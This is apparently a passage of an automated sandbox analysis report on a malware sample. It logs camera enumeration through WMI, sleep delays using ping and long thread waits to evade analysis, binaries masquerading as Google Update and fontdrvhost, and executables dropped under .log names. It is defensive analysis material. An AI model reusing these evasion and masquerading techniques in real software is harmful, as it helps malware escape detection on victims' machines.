Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost

Source: C:\Drivers\fontdrvhost.exe	Memory allocated: A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Memory allocated: 1A720000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Memory allocated: DB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Memory allocated: 1A8D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Memory allocated: 1170000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Memory allocated: 1AC30000 memory reserve \| memory write watch
Source: C:\Drivers\fontdrvhost.exe	Memory allocated: 840000 memory reserve \| memory write watch
Source: C:\Drivers\fontdrvhost.exe	Memory allocated: 1A510000 memory reserve \| memory write watch
Source: C:\Drivers\fontdrvhost.exe	Memory allocated: 1440000 memory reserve \| memory write watch
Source: C:\Drivers\fontdrvhost.exe	Memory allocated: 1B1F0000 memory reserve \| memory write watch
Source: C:\Drivers\fontdrvhost.exe	Memory allocated: E70000 memory reserve \| memory write watch
Source: C:\Drivers\fontdrvhost.exe	Memory allocated: 1A860000 memory reserve \| memory write watch

Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 599326	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 597062	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 596840	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 599859	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 599730	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 598840	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 598718	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 598489	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 597953	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 597448	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 597315	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596968	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596748	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596636	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596516	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596391	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596155	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595927	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595122	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595008	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 594635	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 594505	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 594041	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 593609	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 593437	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 593328	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 593219	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 593109	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 922337203685477
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Drivers\fontdrvhost.exe	Window / User API: threadDelayed 4819	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Window / User API: threadDelayed 5484	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Window / User API: threadDelayed 4198	Jump to behavior

Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\PjHeJXVW.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OwXMDaSq.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\beESemrN.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lNXiOOwv.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\UXZdmUkL.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\SvkCuJlg.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rfCzNWvT.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\LtQnCbUd.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\BoUXaXGR.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\crKSmbgv.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\uNJXqjUH.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rFAHquBj.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\JRcNKQWy.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rWShinUN.log	Jump to dropped file

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_0-23806

Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -599874s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -599546s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -599326s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -99891s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -99782s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -99667s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -99438s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -99313s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -99188s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -99063s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -98944s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -98829s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -98704s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -98579s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -98454s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -98329s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -98204s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -98078s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -97951s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -597062s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -596953s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 1780	Thread sleep time: -596840s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 6036	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe TID: 64	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 3468	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -599859s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -599730s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -599297s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 2196	Thread sleep time: -21600000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -598969s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -598840s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -598718s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -598489s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -597953s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -597813s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -597672s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -597562s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -597448s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -597315s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -597188s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -597078s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -596968s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -596859s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -596748s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -596636s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -596516s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -596391s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -596266s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -596155s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -596047s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -595927s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 2196	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -595797s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -595687s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -595578s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -595469s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -595344s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -595234s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -595122s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -595008s >= -30000s	Jump to behavior
